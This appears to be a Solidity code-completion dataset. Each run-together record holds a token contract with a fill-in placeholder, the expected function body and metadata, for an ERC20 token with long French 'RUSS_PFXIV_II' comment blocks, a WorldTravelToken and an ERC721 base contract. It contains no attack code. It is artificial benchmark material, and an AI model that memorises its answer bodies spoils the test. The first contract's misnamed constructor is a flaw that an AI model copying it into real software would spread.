0Uo4Pv6q15c7jM1YGIJI4mknA6x97wAJD7aTm6F30h203z9Q55ZCEyp04QDvTe7o > // < u =="0.000000000000000001" : ] 000000652676485.964560000000000000 ; 000000670787259.130409000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003E3E7C13FF8A46 > // < RUSS_PFXIV_II_metadata_line_34_____GRK_BYSTRINSKOYE_20231101 > // < rvZnVd73lf3XR85Iu11n24j1F9wr09236yrhlzYA0UCiDfW3j43nw308LV2VQqhc > // < u =="0.000000000000000001" : ] 000000670787259.130409000000000000 ; 000000686352635.314784000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003FF8A464174A80 > // < RUSS_PFXIV_II_metadata_line_35_____NORILSKIY_KOMBINAT_20231101 > // < 293cUrj44J97oE59KbBd4A35042cHOD42HRs74TKR6AzON9u4ZGin1Il5IeYtQ29 > // < u =="0.000000000000000001" : ] 000000686352635.314784000000000000 ; 000000701841387.125964000000000000 ] > // < 0x000000000000000000000000000000000000000000000000004174A8042EECCB > // < RUSS_PFXIV_II_metadata_line_36_____HARJAVALTA_OY_20231101 > // < CuWPCjFTjoUbL15rxq57A0C0pAVpO814hfT5V6F46zzNUd58G790t9vkt7iZHzXd > // < u =="0.000000000000000001" : ] 000000701841387.125964000000000000 ; 000000720058609.500941000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000042EECCB44AB8E5 > // < RUSS_PFXIV_II_metadata_line_37_____ZAPOLYARNYI_TORGOVYI_ALIANS_20231101 > // < 15u6Ajc6RDzSpfsX9l5M754Jar39TBn0xWp52TH58moCL458qDj76F24wNoXhsqV > // < u =="0.000000000000000001" : ] 000000720058609.500941000000000000 ; 000000735729946.216526000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000044AB8E5462A283 > // < RUSS_PFXIV_II_metadata_line_38_____AVALON_20231101 > // < Tw1y2CMkfuaev15LZuwH1sWk0KilPe7a56gV0P3L7Zi1wS8702gdiqqxF7CDpDYM > // < u =="0.000000000000000001" : ] 000000735729946.216526000000000000 ; 000000756087375.536758000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000462A283481B2A2 > // < RUSS_PFXIV_II_metadata_line_39_____GUSINOOZERSKAYA_20231101 > // < u7W7P81mLqwy2O8pnTyF760C9r5m7qG216hkhsXQqNV7l21DnXuMiaiF7ZCT3u3j > // < u =="0.000000000000000001" : ] 000000756087375.536758000000000000 ; 000000773446333.332972000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000481B2A249C2F79 > // < RUSS_PFXIV_II_metadata_line_40_____NORNICKEL_PSMK_OOO_20231101 > // < hiu1533HbIu3zS47us3HgP1636cN73ghy7iAsnmun21izo1OBV26NMzLV2a9JwE1 > // < u =="0.000000000000000001" : ] 000000773446333.332972000000000000 ; 000000795614035.169367000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000049C2F794BE02BC > }
contract RUSS_PFXIV_II_883 { mapping (address => uint256) public balanceOf; string public name = " RUSS_PFXIV_II_883 " ; string public symbol = " RUSS_PFXIV_II_IMTD " ; uint8 public decimals = 18 ; uint256 public totalSupply = 795614035169367000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } <FILL_FUNCTION> // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXIV_II_metadata_line_1_____NORIMET_LIMITED_20231101 > // < 1U2F5daAm15re7K282ZR6aU0h61QuEo06iSmjY1ewkKFR6XQ8672J8vHKg50xW30 > // < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000018302113.161568100000000000 ] > // < 0x00000000000000000000000000000000000000000000000000000000001BED43 > // < RUSS_PFXIV_II_metadata_line_2_____NORNICKEL_AUSTRALIA_PTY_LIMITED_20231101 > // < 3q5O7zNld33a1enA5qg2oKDv3rr1371UUn046mNsUWLyW4On6vadB093hDa0RJ45 > // < u =="0.000000000000000001" : ] 000000018302113.161568100000000000 ; 000000043182994.963161200000000000 ] > // < 0x00000000000000000000000000000000000000000000000000001BED4341E45B > // < RUSS_PFXIV_II_metadata_line_3_____NORILSKGAZPROM_20231101 > // < M66W5Q45n8eXNHSjw6rR5EOSDannzgVE9AT4UE1BLDCp96dFYhKcewjY39R4p7Ps > // < u =="0.000000000000000001" : ] 000000043182994.963161200000000000 ; 000000060024825.897479800000000000 ] > // < 0x000000000000000000000000000000000000000000000000000041E45B5B9733 > // < RUSS_PFXIV_II_metadata_line_4_____NORILSK_NICKEL_USA_INC_20231101 > // < 4A36dHNh4E2XKOy9110sIW43xr7N99r47qp0wV9P0hnZfJ08ybI0465mVPuOlDM5 > // < u =="0.000000000000000001" : ] 000000060024825.897479800000000000 ; 000000082697463.639882300000000000 ] > // < 0x00000000000000000000000000000000000000000000000000005B97337E2FB2 > // < RUSS_PFXIV_II_metadata_line_5_____DALRYMPLE_RESOURCES_PTY_LTD_20231101 > // < 4v6548v0l5Qw4iS3v9upsVNzD7UdTK4io4JN8Fh5QAL7aZfZg5WE69qg4FOusJ3V > // < u =="0.000000000000000001" : ] 000000082697463.639882300000000000 ; 000000107343629.529494000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000007E2FB2A3CB1B > // < RUSS_PFXIV_II_metadata_line_6_____MPI_NICKEL_PTY_LTD_20231101 > // < zX6awTcsviUqEi13xWQ6955X9oFNu51p4I8d2ap68G74xEtu7xjeZ0p47NqFQp47 > // < u =="0.000000000000000001" : ] 000000107343629.529494000000000000 ; 000000130754847.489930000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000A3CB1BC7841D > // < RUSS_PFXIV_II_metadata_line_7_____CAWSE_PROPRIETARY_LIMITED_20231101 > // < ZZ3hZmufHQbV0ZYG7Cd73vwFs0H6S2p6rpVTQVtjWXNLUnj8h3uU4W1UaWxDlW5R > // < u =="0.000000000000000001" : ] 000000130754847.489930000000000000 ; 000000153270986.315656000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000C7841DE9DF7B > // < RUSS_PFXIV_II_metadata_line_8_____NORNICKEL_TERMINAL_20231101 > // < HB56tuas2Y6RwRVUhLQDCwMl2kil9V9zs12mQ1ZhQXWUat73rqr8bEs43m0U1EaB > // < u =="0.000000000000000001" : ] 000000153270986.315656000000000000 ; 000000176785154.324262000000000000 ] > // < 0x000000000000000000000000000000000000000000000000000E9DF7B10DC0B3 > // < RUSS_PFXIV_II_metadata_line_9_____NORILSKPROMTRANSPORT_20231101 > // < 0m7vx5C10pPZcXC2v1sgfjoxxE4Wj0AJ6i08R1gjunG7ftYB8Vip8ygj3nv5d9vJ > // < u =="0.000000000000000001" : ] 000000176785154.324262000000000000 ; 000000201295160.252180000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000010DC0B313326EC > // < RUSS_PFXIV_II_metadata_line_10_____NORILSKGEOLOGIYA_OOO_20231101 > // < K83Ef53VmA0F6R9G16eYqSD8G11jW2Arho5SF1N73w15A8K8X2j6Ae9BvmBS95yd > // < u =="0.000000000000000001" : ] 000000201295160.252180000000000000 ; 000000219365751.984581000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000013326EC14EB9BF > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXIV_II_metadata_line_11_____NORNICKEL_FINLAND_OY_20231101 > // < 6dE542nLhjB68njMR4HMYVDDY7G3BLSGup2koKkcv9wH1R1jDBGUF9WLf3F4OFvk > // < u =="0.000000000000000001" : ] 000000219365751.984581000000000000 ; 000000239998988.351648000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000014EB9BF16E359B > // < RUSS_PFXIV_II_metadata_line_12_____CORBIERE_HOLDINGS_LTD_20231101 > // < 1DRu36Z2b9wUzh2LId5R1YvcDKfl32iwv8OBH04GV0K62EYvmLJ40MATF7y90q09 > // < u =="0.000000000000000001" : ] 000000239998988.351648000000000000 ; 000000256995378.637184000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000016E359B18824D2 > // < RUSS_PFXIV_II_metadata_line_13_____MEDVEZHY_RUCHEY_20231101 > // < Jxq7T5EwF61Q16vzuz3Eo0hkN8Y28Fn3R0hGDD4JY2bh8u3gW94iV64b5J7F9Hh7 > // < u =="0.000000000000000001" : ] 000000256995378.637184000000000000 ; 000000277365208.828360000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000018824D21A739C9 > // < RUSS_PFXIV_II_metadata_line_14_____NNK_TRADITSIYA_20231101 > // < 2x2Zb64F9N5Kt7575nsXG9WG5k0Auy24FHW824a0VNQgnqk0E701sS9GOmRBvLN9 > // < u =="0.000000000000000001" : ] 000000277365208.828360000000000000 ; 000000299283325.266470000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001A739C91C8AB8D > // < RUSS_PFXIV_II_metadata_line_15_____RADIO_SEVERNY_GOROD_20231101 > // < e0UDV7CZPyK9D3ZKhJ8dcdlrwr2zb6x3iXh46ch0oRVF6QlhIpdA5X2wZjn0oS48 > // < u =="0.000000000000000001" : ] 000000299283325.266470000000000000 ; 000000315034454.157685000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001C8AB8D1E0B455 > // < RUSS_PFXIV_II_metadata_line_16_____ALYKEL_20231101 > // < vs47slmvlJK7F31uCDf521BCK1TaHECm87uoU9jUTWOW69tSDWckJG36pqZiMU9L > // < u =="0.000000000000000001" : ] 000000315034454.157685000000000000 ; 000000330693513.460782000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001E0B4551F89927 > // < RUSS_PFXIV_II_metadata_line_17_____GEOKOMP_OOO_20231101 > // < D6u496p87W8bT9Bt512l9Ukx6Xw42IJQXz9wMd7BJlQwIFgb02706PXJ5vUDKV0Q > // < u =="0.000000000000000001" : ] 000000330693513.460782000000000000 ; 000000346582786.981683000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001F89927210D7E7 > // < RUSS_PFXIV_II_metadata_line_18_____LIONORE_SOUTH_AFRICA_20231101 > // < rmBM00Y8H4bdzVg6CvQtg616dlNKGrbtJ03Oy9Do0gA32fW0Ubh9DR3Fpu2rR996 > // < u =="0.000000000000000001" : ] 000000346582786.981683000000000000 ; 000000368924926.266501000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000210D7E7232EF4D > // < RUSS_PFXIV_II_metadata_line_19_____VESHCHATELNAYA_KORPORATSIYA_TELESFERA_20231101 > // < 83F35Zt1ulwa5O4gg03RhWx6Z3fdB3tJjR9c5YlDv8w2C26zsNKXEa1YZ30kF8Fm > // < u =="0.000000000000000001" : ] 000000368924926.266501000000000000 ; 000000390676618.411542000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000232EF4D254200E > // < RUSS_PFXIV_II_metadata_line_20_____SRETENSKAYA_COPPER_COMPANY_20231101 > // < E66Wbdge6JfJV1se711tnnRj2G5wd2xxMh0DcTW9op6w4LZlp1eld03Q4RcPm0m2 > // < u =="0.000000000000000001" : ] 000000390676618.411542000000000000 ; 000000407952485.322903000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000254200E26E7C71 > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXIV_II_metadata_line_21_____NORILSKNICKELREMONT_20231101 > // < I7np9wG8wy9yh5y22ymDCdgua87A5y066BGm9h9BqMYqwIv1Bx2TKAWdw8N13iwb > // < u =="0.000000000000000001" : ] 000000407952485.322903000000000000 ; 000000430820521.818804000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000026E7C712916144 > // < RUSS_PFXIV_II_metadata_line_22_____NORILSK_NICKEL_INTERGENERATION_20231101 > // < 02RZDQi6BC2G8R7ZxINQ66081yVw411DQpjJq0jTRm740Mxtzq43nmL9ktR7dxlv > // < u =="0.000000000000000001" : ] 000000430820521.818804000000000000 ; 000000454958525.923392000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000029161442B6362D > // < RUSS_PFXIV_II_metadata_line_23_____PERVAYA_MILYA_OOO_20231101 > // < Qt0jPwTwGP4C5H35H274yR0vi061Ov8XgBbbd31y1B4e9Wpfwb8k00N2G5mvLg1F > // < u =="0.000000000000000001" : ] 000000454958525.923392000000000000 ; 000000479287503.513851000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002B6362D2DB55AE > // < RUSS_PFXIV_II_metadata_line_24_____NORILSKNICKELREMONT_OOO_20231101 > // < QB1Ki4RPBQD8l3Xp7yQNN0XG9bXvN66a7Ks06v9E9iTCE3o8sS6PC5jam8T8Wl0r > // < u =="0.000000000000000001" : ] 000000479287503.513851000000000000 ; 000000497976882.719101000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002DB55AE2F7DA38 > // < RUSS_PFXIV_II_metadata_line_25_____NORNICKEL_INT_HOLDINS_CANADA_20231101 > // < A28FL8Sd0rym81MkeBaSOG0Kz69AlGAxc53R1q40Ae2E47bo6u4NFmM12rToWeb9 > // < u =="0.000000000000000001" : ] 000000497976882.719101000000000000 ; 000000514655660.286860000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002F7DA383114D5E > // < RUSS_PFXIV_II_metadata_line_26_____INTERGEOPROYEKT_LLC_20231101 > // < 2g63Cv6r6K3BSKLBnYSN4IxGPrj3IUX9QqE98vse4KbMgtngHuyzi9yH0Y2rJ8hs > // < u =="0.000000000000000001" : ] 000000514655660.286860000000000000 ; 000000532284738.582108000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003114D5E32C33BA > // < RUSS_PFXIV_II_metadata_line_27_____WESTERN_MINERALS_TECHNOLOGY_20231101 > // < n6Bab2p8dkwXgYg31or4cMKmkBBLGH2y2Ne74aFq4j6CL3I0IND6J7597UMqk8Y7 > // < u =="0.000000000000000001" : ] 000000532284738.582108000000000000 ; 000000551111516.618316000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000032C33BA348EDF0 > // < RUSS_PFXIV_II_metadata_line_28_____NORMETIMPEX_20231101 > // < Pf8ZP0e770W7qXFAw7U9WK155M915707UYnJE2oE5j0ejvVR0fV6FK11t4H6PP2x > // < u =="0.000000000000000001" : ] 000000551111516.618316000000000000 ; 000000575608422.996390000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000348EDF036E4F0A > // < RUSS_PFXIV_II_metadata_line_29_____RAO_NORNICKEL_20231101 > // < 9c1U4A1s4hJ1asMIid5JIx4690z1hZ5HRRqZB0WYE9862Z3SiVDJbAQys0sjLFv7 > // < u =="0.000000000000000001" : ] 000000575608422.996390000000000000 ; 000000595878641.493135000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000036E4F0A38D3D18 > // < RUSS_PFXIV_II_metadata_line_30_____ZAPOLYARNAYA_STROITELNAYA_KOMPANIYA_20231101 > // < Pp5PC07ZncJWd6izdS3gH2ekU926GUc0RNnPuuPAl4BTVxmDrP9LdzLWFdpc53P0 > // < u =="0.000000000000000001" : ] 000000595878641.493135000000000000 ; 000000615708850.365732000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000038D3D183AB7F45 > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXIV_II_metadata_line_31_____NORNICKEL_PROCESSING_TECH_20231101 > // < sfy3454POypvZf7Ctt8feP1DE6msHBN2Tnmf47ECisYklrQ5hL4pYQb0DBfdf424 > // < u =="0.000000000000000001" : ] 000000615708850.365732000000000000 ; 000000635017208.584079000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003AB7F453C8F599 > // < RUSS_PFXIV_II_metadata_line_32_____NORNICKEL_KTK_20231101 > // < 2xi7ZD39G6t42277ywvNsb3gBN6IsGs54hi32W2cFDP9Fn5F59jEUNo92OuBhtqW > // < u =="0.000000000000000001" : ] 000000635017208.584079000000000000 ; 000000652676485.964560000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003C8F5993E3E7C1 > // < RUSS_PFXIV_II_metadata_line_33_____NORILSKYI_OBESPECHIVAUSHYI_COMPLEX_20231101 > // < 0Uo4Pv6q15c7jM1YGIJI4mknA6x97wAJD7aTm6F30h203z9Q55ZCEyp04QDvTe7o > // < u =="0.000000000000000001" : ] 000000652676485.964560000000000000 ; 000000670787259.130409000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003E3E7C13FF8A46 > // < RUSS_PFXIV_II_metadata_line_34_____GRK_BYSTRINSKOYE_20231101 > // < rvZnVd73lf3XR85Iu11n24j1F9wr09236yrhlzYA0UCiDfW3j43nw308LV2VQqhc > // < u =="0.000000000000000001" : ] 000000670787259.130409000000000000 ; 000000686352635.314784000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003FF8A464174A80 > // < RUSS_PFXIV_II_metadata_line_35_____NORILSKIY_KOMBINAT_20231101 > // < 293cUrj44J97oE59KbBd4A35042cHOD42HRs74TKR6AzON9u4ZGin1Il5IeYtQ29 > // < u =="0.000000000000000001" : ] 000000686352635.314784000000000000 ; 000000701841387.125964000000000000 ] > // < 0x000000000000000000000000000000000000000000000000004174A8042EECCB > // < RUSS_PFXIV_II_metadata_line_36_____HARJAVALTA_OY_20231101 > // < CuWPCjFTjoUbL15rxq57A0C0pAVpO814hfT5V6F46zzNUd58G790t9vkt7iZHzXd > // < u =="0.000000000000000001" : ] 000000701841387.125964000000000000 ; 000000720058609.500941000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000042EECCB44AB8E5 > // < RUSS_PFXIV_II_metadata_line_37_____ZAPOLYARNYI_TORGOVYI_ALIANS_20231101 > // < 15u6Ajc6RDzSpfsX9l5M754Jar39TBn0xWp52TH58moCL458qDj76F24wNoXhsqV > // < u =="0.000000000000000001" : ] 000000720058609.500941000000000000 ; 000000735729946.216526000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000044AB8E5462A283 > // < RUSS_PFXIV_II_metadata_line_38_____AVALON_20231101 > // < Tw1y2CMkfuaev15LZuwH1sWk0KilPe7a56gV0P3L7Zi1wS8702gdiqqxF7CDpDYM > // < u =="0.000000000000000001" : ] 000000735729946.216526000000000000 ; 000000756087375.536758000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000462A283481B2A2 > // < RUSS_PFXIV_II_metadata_line_39_____GUSINOOZERSKAYA_20231101 > // < u7W7P81mLqwy2O8pnTyF760C9r5m7qG216hkhsXQqNV7l21DnXuMiaiF7ZCT3u3j > // < u =="0.000000000000000001" : ] 000000756087375.536758000000000000 ; 000000773446333.332972000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000481B2A249C2F79 > // < RUSS_PFXIV_II_metadata_line_40_____NORNICKEL_PSMK_OOO_20231101 > // < hiu1533HbIu3zS47us3HgP1636cN73ghy7iAsnmun21izo1OBV26NMzLV2a9JwE1 > // < u =="0.000000000000000001" : ] 000000773446333.332972000000000000 ; 000000795614035.169367000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000049C2F794BE02BC > }
require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true;
function transferFrom(address from, address to, uint256 value) public returns (bool success)
function transferFrom(address from, address to, uint256 value) public returns (bool success)
43792
WorldTravelToken
transfer
contract WorldTravelToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function WorldTravelToken() public { symbol = "WTL"; name = "World Travel Token"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[0xffEe7b08cbAF12c72aD556Fc1Dd80753cd5dA5e9] = _totalSupply; Transfer(address(0), 0xffEe7b08cbAF12c72aD556Fc1Dd80753cd5dA5e9, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract WorldTravelToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function WorldTravelToken() public { symbol = "WTL"; name = "World Travel Token"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[0xffEe7b08cbAF12c72aD556Fc1Dd80753cd5dA5e9] = _totalSupply; Transfer(address(0), 0xffEe7b08cbAF12c72aD556Fc1Dd80753cd5dA5e9, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } <FILL_FUNCTION> function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true;
function transfer(address to, uint tokens) public returns (bool success)
function transfer(address to, uint tokens) public returns (bool success)
854
ERC721
ownerOf
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) {<FILL_FUNCTION_BODY> } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all"); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * 